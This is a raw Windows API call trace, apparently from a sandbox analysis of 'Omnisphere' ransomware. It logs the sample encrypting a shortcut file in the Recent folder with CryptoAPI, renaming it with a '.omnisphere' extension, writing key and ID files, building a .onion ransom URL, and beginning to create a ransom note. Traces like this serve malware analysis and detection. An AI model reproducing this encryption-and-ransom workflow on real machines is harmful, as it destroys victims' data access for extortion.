pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.303] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.303] CloseHandle (hObject=0x28c) returned 1 [0118.303] GetProcessHeap () returned 0x1600000 [0118.303] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.303] GetProcessHeap () returned 0x1600000 [0118.303] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0118.303] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2255544d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2255544d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2255544d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="0-X9v.lnk", cAlternateFileName="")) returned 1 [0118.303] GetProcessHeap () returned 0x1600000 [0118.303] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x165eb88 [0118.303] PathCombineW (in: pszDest=0x165eb88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="0-X9v.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk" [0118.303] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0-x9v.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.304] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=925) returned 1 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] GetTickCount () returned 0x115d916 [0118.304] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0118.305] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.305] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.306] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.306] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0118.306] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39d, lpName=0x0) returned 0x288 [0118.306] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39d) returned 0x1480000 [0118.306] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16681b8) returned 1 [0118.306] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.306] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.306] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.307] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.308] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.309] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.309] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.309] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.309] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.309] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.309] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0118.309] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x39d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.309] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.309] GetProcessHeap () returned 0x1600000 [0118.309] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16a0fa0 [0118.309] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0-x9v.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0-x9v.lnk.omnisphere")) returned 1 [0118.310] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk.omnisphere.id" [0118.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0-x9v.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.311] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.312] CloseHandle (hObject=0x3c0) returned 1 [0118.313] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.313] CloseHandle (hObject=0x288) returned 1 [0118.313] SetEndOfFile (hFile=0x28c) returned 1 [0118.313] FlushFileBuffers (hFile=0x28c) returned 1 [0118.317] CloseHandle (hObject=0x28c) returned 1 [0118.317] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0-X9v.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.317] GetProcessHeap () returned 0x1600000 [0118.317] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a1250 [0118.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.317] GetProcessHeap () returned 0x1600000 [0118.317] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693a80 [0118.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693a80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.317] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.317] GetProcessHeap () returned 0x1600000 [0118.317] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687168 [0118.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687168, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.317] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.317] GetProcessHeap () returned 0x1600000 [0118.318] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1630de8 [0118.318] PathCombineW (in: pszDest=0x1630de8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.318] GetProcessHeap () returned 0x1600000 [0118.318] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169cea0 [0118.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c 